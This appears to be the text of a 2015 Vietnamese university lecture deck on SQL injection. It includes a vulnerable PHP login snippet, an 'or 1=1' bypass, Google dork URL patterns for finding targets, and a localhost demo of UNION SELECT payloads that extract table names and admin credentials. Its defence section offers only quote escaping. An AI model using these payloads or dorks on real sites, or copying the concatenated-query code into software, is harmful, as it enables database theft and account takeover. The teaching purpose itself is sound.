Tìm về tấn công SQL Injection: SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi củ
Trang 1ĐẠI HỌC QUỐC GIA TP HCM
ĐẠI HỌC CÔNG NGHỆ THÔNG TIN
Tấn Công SQL Injection
GV: Ths Nguyễn Duy
TP HCM 04/05/2015
Trang 2Nội dung:
I Tìm về tấn công SQL Injection
II Mục đích tấn công
III Cơ chế tấn công
IV Phương thức tấn công
V Cách phòng chống
VII Tổng kết
Trang 3I Tìm về tấn công SQL Injection:
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng
của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sở dữ liệu của ứng dụng, thậm chí
là server mà ứng dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng
Trang 4II Mục đích tấn công:
• Đánh cắp dữ liệu từ web server
• Thay đổi dữ liệu
• Deface website
• Backdoor
•
Trang 5III Cơ chế tấn công:
Cơ chế tấn công SQL injection – SQLI là cách thức tận dụng hoặc khai thác
triệt để những khuyết điểm, thiếu sót về mặt công nghệ được sử dụng để xây
dựng website, và thông thường hacker sẽ kết hợp với những lỗ hổng trong quy
trình bảo mật cơ sở dữ liệu Nếu thành công trong việc xâm nhập này, hacker hoàn toàn có thể mạo danh tài khoản chính thức của người sử dụng, truy cập vào cơ sở dữ liệu và lấy cắp thông tin cá nhân Không giống như cách làm
của DDoS, SQLI hoàn toàn có thể ngăn chặn được nếu người quản trị nhận
thức được tầm quan trọng của việc bảo mật cơ sở dữ liệu
• Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào
<form action="" method="post">
Tài khoản: <input type="text" name=“user">
Mật khẩu: <input type="password" name=“pass">
<input type="submit“ value=“Đăng nhập”>
</form>
Trang 6<?php
$user=$_POST[‘user’];
$pass=$_POST[‘pass’];
$sql=“SELECT * FROM tbl_user WHERE
user=‘$user’ && pass=‘$pass’”;
$query=mysql_query($sql);
$sql=“SELECT * FROM tbl_user WHERE
user=‘0’ or ‘1’=‘1’ ’ && pass=‘123456’”;
• Thông báo lỗi của hệ quản trị CSDL
– Mysql_fetch_array();
– Database query failed…
– You have an error in your SQL systax…
IV Phương thức tấn công
Các dork ( Từ khóa tìm site bị lỗi)
index.php?id=
news.php id=
Trang 7article.php?id=
games.php?id=
opinions.php?id=
pages.php?id=
prod_detail.php?id=
view.php?id=
…………
• Các bước tấn công sử dụng lệnh union select
• Kiểm tra lỗi sql injection
• Tìm số cột mà câu truy vấn tạo ra
• Tìm cột chứa thông tin có thể khai thác được
• Xem phiên bản của CSDL và ngôn ngữ lập trình
• Xác định tên bảng chứa thông tin người quản trị
• Xác định tài khoản/mật khẩu của quản trị
• Truy cập vào phần giành cho quản trị viên
Trang 8V Cách phòng chống
như chúng ta đã đề cập tới tại phần trên của bài viết, SQL Injection hoàn toàn có thể ngăn chặn được Và 1 trong những quy tắt
không thể bỏ qua là không nên tin tưởng tuyệt đối vào bất kỳ thông tin nào mà người sử dụng nhập vào (tương tự như tình huống chúng tôi
mô phỏng bên trên)
Và mô hình SQLI có thể dễ dàng bị ngăn chặn bởi 1 bước gọi
là Sanitization – hiểu nôm na là việc chắt lọc thông tin đầu vào – input
từ phía người dùng Rất đơn giản, quy trình này sẽ xử lý bất kỳ ký tự
ngoặc đơn nào xuất hiện trong câu lệnh truy vân SQL
Ví dụ cụ thể, nếu muốn tìm bản ghi “O’neil” trong cơ sở dữ liệu, thì
không thể dùng phương pháp đã mô phỏng bên trên vì dấu ' đằng sau chữ O sẽ khiến cho cú pháp bị ngắt giữa chừng Thay vào đó, chúng ta
có thể tách biệt ký tự đặc biệt này khỏi cơ sở dữ liệu bằng dấu \ Và
như vậy, bản ghi “O’neal” sẽ biến thành “O\’neil”
VI Demo
• Công cụ hỗ trợ
– Add-on hackBar
– Web Admin Finder V2.0
Mục tiêu tấn công
Trang 9Tìm số cột mà câu truy vấn SQL tạo ra
Trang 10Xác định vị trí xảy ra lỗi
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
Xác định phiên bản ngôn ngữ lập trình
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15
Trang 11Xác định tên các bảng trong CSDL
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('\n',table_name))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
Xác đinh các cột trong bảng tbl_user
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('\n',column_name))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572
Trang 12Xác định thông tin username, password của Admin
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))),
7,8,9,10,11,12,13,14,15 from tbl_user
Trang 13Password: thietkewebx.net
Tìm đường dẫn trang quản trị
Trang 14Kết quả demo thành công !